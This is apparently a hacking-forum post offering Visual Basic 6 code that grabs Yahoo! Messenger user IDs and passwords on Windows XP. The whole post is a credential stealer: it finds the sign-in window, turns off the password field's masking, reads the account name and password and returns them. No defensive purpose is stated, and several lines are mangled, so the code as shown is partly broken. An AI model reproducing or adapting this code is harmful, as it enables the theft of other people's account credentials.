Get Yahoo! Messenger User & PW In Win XP With VB6

[blackhacking21]

[php] Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal LpString As String, ByVal cch As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function Sendmessagebynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)
Public Declare Function GetWindow& Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long)
Public Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Const EM_SETPASSWORDCHAR = &HCC
Public Const EM_GETPASSWORDCHAR = &HD2
Public Const GW_HWNDNEXT = 2
Public ID As String
Public Password As String
Public Resualt As String
Public Function GetText(hwnd) As String
nRet = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0&, 0&
If nRet <> 0 Then
PostMessage hwnd, EM_SETPASSWORDCHAR, 0&, 0&
End If
GetTrim = Sendmessagebynum(hwnd, 14, 0&, 0&
TrimSpace$ = Space$(GetTrim)
GetString = SendMessageByString(hwnd, 13, GetTrim + 1, TrimSpace$)
If nRet <> 0 Then
PostMessage hwnd, EM_SETPASSWORDCHAR, Asc("*"), 0&
End If
GetText = TrimSpace$
End Function
Public Function GetYahoo()
Dim Hndl As Long
Hndl = FindWindow(vbNullString, "Sign In")
If Hndl <> 0 Then
nh = FindWindowEx(Hndl, 0, vbNullString, vbNullString)
Hndl = GetWindow&;(nh, GW_HWNDNEXT)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
ID = GetText(Hndl)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
txt = GetText(Hndl)
txt = Trim(Replace(txt, Chr(0), ""))
If txt <> "" And Password <> txt Then Password = txt
End If
Hndl = FindWindow(vbNullString, "Yahoo! Messenger with Voice")
If Hndl <> 0 Then
nh = FindWindowEx(Hndl, 0, vbNullString, vbNullString)
If GetText(nh) = "YLoginWnd" Then 'Y!8
Hndl = FindWindowEx(nh, 0, vbNullString, vbNullString)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
ID = GetText(Hndl)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
txt = GetText(Hndl)
txt = Trim(Replace(txt, Chr(0), ""))
If txt <> "" And Password <> txt Then Password = txt
End If
End If
Hndl = FindWindow(vbNullString, "Yahoo! Messenger")
If Hndl <> 0 Then
nh = FindWindowEx(Hndl, 0, vbNullString, vbNullString)
If GetText(nh) = "YLoginWnd" Then 'Y!8
Hndl = FindWindowEx(nh, 0, vbNullString, vbNullString)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
ID = GetText(Hndl)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
Hndl = GetWindow&;(Hndl, GW_HWNDNEXT)
txt = GetText(Hndl)
txt = Trim(Replace(txt, Chr(0), ""))
If txt <> "" And Password <> txt Then Password = txt
End If
End If
Resualt = "ID:" & ID & "Password:" & Password
GetYahoo = Resualt
End Function 
[php/][/php]